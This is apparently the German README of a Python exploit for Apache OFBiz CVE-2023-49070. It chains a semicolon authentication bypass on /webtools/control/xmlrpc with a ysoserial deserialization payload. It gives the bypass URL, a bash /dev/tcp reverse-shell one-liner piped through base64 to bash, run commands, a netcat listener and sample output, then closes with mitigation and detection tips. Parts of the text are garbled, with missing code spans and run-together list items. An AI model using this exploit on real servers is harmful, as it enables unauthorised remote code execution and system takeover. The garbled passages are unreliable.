
Python-PoC für Apache OFBiz CVE-2023-49070: Auth-Bypass auf /webtools/control/xmlrpc plus ysoserial-Gadget-Chain zur Erreichung von Pre-Auth-Deserialisierungs-RCE.
PoC für die Apache OFBiz XML-RPC Pre-Auth-Deserialisierungs-RCE, die als
CVE-2023-49070 geführt wird: Ein Authentifizierungs-Bypass-Pfad öffnet den
Legacy-Endpunkt /webtools/control/xmlrpc, der ein vom Angreifer
kontrolliertes Java-Objekt deserialisiert, das in einem XML-RPC-<serializable>-
Parameter eingeschmuggelt wurde.
⚠️ Nur für autorisierte Sicherheitstests. Führe dies nur gegen Systeme aus, die dir gehören oder für die du ausdrücklich autorisiert bist (CTF-/Laborumgebungen, Engagements mit unterzeichnetem Scope usw.). Unautorisierter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal.
Die view-map-Authentifizierung von Apache OFBiz schützt normalerweise
/webtools/control/xmlrpc. Betroffene Versionen (< 18.12.10) können
dazu verleitet werden, diese Prüfung zu überspringen, indem ein Semikolon
plus bestimmte Query-Parameter an den Pfad angehängt werden:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
Sobald der Endpunkt erreichbar ist, akzeptiert er XML-RPC-Anfragen. Die
Java-Implementierung von Apache XML-RPC unterstützt einen <serializable>-
Erweiterungstyp: Der Inhalt des Elements wird base64-dekodiert und direkt
an übergeben — klassische unsichere
Java-Deserialisierung. Mit einer geeigneten Gadget-Chain im Classpath
(diese PoC verwendet standardmäßig über
) übersetzt sich das
direkt in Remote-Code-Ausführung als der OS-Benutzer, der OFBiz ausführt.
ObjectInputStream.readObject()CommonsBeanutils1Dies ist dieselbe Fehlerfamilie wie die früheren OFBiz-XML-RPC- Deserialisierungs-CVEs (z. B. das Auth-Bypass-Geschwister von CVE-2023-51467); OFBiz hatte ein wiederkehrendes Muster von Auth-Bypass- + Deserialisierungs-Paaren auf diesem Endpunkt, prüfe also den genauen CVE-/Versionsbereich, der auf dein Ziel zutrifft, bevor du dich auf diese PoC verlässt.
bash -i >& /dev/tcp/LHOST/LPORT 0>&1-Reverse-Shell,
base64-kodiert sie und verpackt sie in einen
bash -c 'echo ... | base64 -d | bash'-Einzeiler (umgeht die
Shell-Metazeichen-Verstümmelung weiter unten in der Ausführungskette).ysoserial auf, um eine serialisierte Gadget-Chain zu bauen
(CommonsBeanutils1 standardmäßig, konfigurierbar), die diesen
Einzeiler ausführt.<serializable>-Payload.TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.No such service)
enthält — ein Signal, dass die Payload verarbeitet wurde, kein Beweis
für Code-Ausführung.Es kann nicht bestätigen, dass du eine Shell bekommen hast — OFBiz gibt
in beiden Fällen einen generischen Fehler zurück, sobald die
Deserialisierung läuft (die XML-RPC-Methode selbst, Dns, existiert
nicht als echter Service). Halte immer deinen Listener aktiv und prüfe
ihn, nicht nur die Konsolenausgabe des Skripts.
pip install requests --break-system-packagesysoserial-all.jar — baue es selbst aus
frohoff/ysoserial
(mvn clean package -DskipTests) oder hole dir ein Release-Jar. Hier
nicht mitgeliefert — es ist ein großes Drittanbieter-Tool mit eigener
Lizenz.python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
Starte zuerst einen Listener:
nc -lvnp 4444
| Flag | Standard | Beschreibung |
|---|---|---|
--target | (erforderlich) | Ziel-Basis-URL, z. B. https://ofbiz.target.tld |
--lhost | (erforderlich) | Deine Listener-IP |
--lport | (erforderlich) | Dein Listener-Port |
--ysoserial | ysoserial-all.jar | Pfad zum ysoserial-Jar |
--gadget | CommonsBeanutils1 | Zu verwendende ysoserial-Gadget-Chain |
--java-bin | java | Aufzurufende Java-Binary |
--timeout | 15 | HTTP-Request-Timeout (Sekunden) |
--proxy | (keine) | Optionaler HTTP(S)-Proxy, z. B. zum Routen über Burp |
CommonsBeanutils1 ist die klassische Wahl für OFBiz (es liefert
commons-beanutils im Classpath mit), aber falls es nicht zündet,
unterstützen die von OFBiz mitgelieferten Bibliotheken auch andere
Chains. Tausche einfach --gadget aus:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc deaktivieren oder einschränken, wenn du
die XML-RPC-Integration nicht aktiv nutzt; die webtools-Komponente
im Allgemeinen ist ein häufiges Ziel und sollte ohne triftigen Grund
nicht aus dem Internet erreichbar sein.;-Trick gegen das Java-Servlet-Pfad-Parsing.ObjectInputFilter, verfügbar seit JEP 290 /
Java 9+), um bekannte Gadget-Chain-Klassen daran zu hindern, jemals
instanziiert zu werden, unabhängig davon, welcher Endpunkt die
Deserialisierung auslöst.*/control/xmlrpc*, die
<serializable>-Elemente enthalten, unerwartete ausgehende
Verbindungen vom OFBiz-Host und Kindprozesse, die vom Java-Prozess
gestartet werden, der OFBiz ausführt.MIT — siehe LICENSE.